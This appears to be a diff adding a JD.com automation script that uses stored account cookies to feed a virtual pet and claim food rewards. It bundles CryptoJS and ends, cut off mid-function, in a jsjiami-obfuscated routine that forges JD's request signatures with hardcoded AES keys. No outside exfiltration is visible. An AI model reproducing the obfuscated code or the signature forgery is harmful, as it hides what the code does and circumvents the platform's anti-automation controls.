d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('宠汪汪🐕喂食'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let jdNotify = true;//是否开启静默运行。默认true开启 +let message = '', subTitle = ''; +const JD_API_HOST = 'https://jdjoy.jd.com' +let FEED_NUM = ($.getdata('joyFeedCount') * 1) || 10; //喂食数量默认10g,可选 10,20,40,80 , 其他数字不可. + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await $.wait(100); + // await TotalBean(); + // console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + // if (!$.isLogin) { + // $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + // + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + // continue + // } + message = ''; + subTitle = ''; + if ($.isNode()) { + if (process.env.JOY_FEED_COUNT) { + if ([0, 10, 20, 40, 80].indexOf(process.env.JOY_FEED_COUNT * 1) > -1) { + FEED_NUM = process.env.JOY_FEED_COUNT ? process.env.JOY_FEED_COUNT * 1 : FEED_NUM; + } else { + console.log(`您输入的 JOY_FEED_COUNT 为非法数字,请重新输入`); + } + } + } + await feedPets(FEED_NUM);//喂食 + await ThreeMeals();//三餐 + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdJoyNotify') ? $.getdata('jdJoyNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + //$.msg($.name, subTitle, `【京东账号${$.index}】${$.UserName}\n` + message); + } +} +function feedPets(feedNum) { + return new Promise(resolve => { + console.log(`您设置的喂食数量::${FEED_NUM}g\n`); + if (FEED_NUM === 0) { console.log(`跳出喂食`);resolve();return } + console.log(`实际的喂食数量::${feedNum}g\n`); + let opt = { + url: `//jdjoy.jd.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.get(options, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + if ($.data.success) { + if ($.data.errorCode === 'feed_ok') { + console.log('喂食成功') + message += `【喂食成功】${feedNum}g\n`; + } else if ($.data.errorCode === 'time_error') { + console.log('喂食失败:正在食用') + message += `【喂食失败】您的汪汪正在食用\n`; + } else if ($.data.errorCode === 'food_insufficient') { + console.log(`当前喂食${feedNum}g狗粮不够, 现为您降低一档次喂食\n`) + if ((feedNum) === 80) { + feedNum = 40; + } else if ((feedNum) === 40) { + feedNum = 20; + } else if ((feedNum) === 20) { + feedNum = 10; + } else if ((feedNum) === 10) { + feedNum = 0; + } + // 如果喂食设置的数量失败, 就降低一个档次喂食. + if ((feedNum) !== 0) { + await feedPets(feedNum); + } else { + console.log('您的狗粮已不足10g') + message += `【喂食失败】您的狗粮已不足10g\n`; + } + } else { + console.log(`其他状态${$.data.errorCode}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve($.data); + } + }) + }) +} + +//三餐 +function ThreeMeals() { + return new Promise(resolve => { + let opt = { + url: "//jdjoy.jd.com/common/pet/getFood?taskType=ThreeMeals&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + if (data.errorCode === 'received') { + console.log(`三餐结果领取成功`) + message += `【三餐】领取成功,获得${data.data}g狗粮\n`; + } + } + } catch (e) { + $.logErr(resp, e); + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ _0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var _0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= 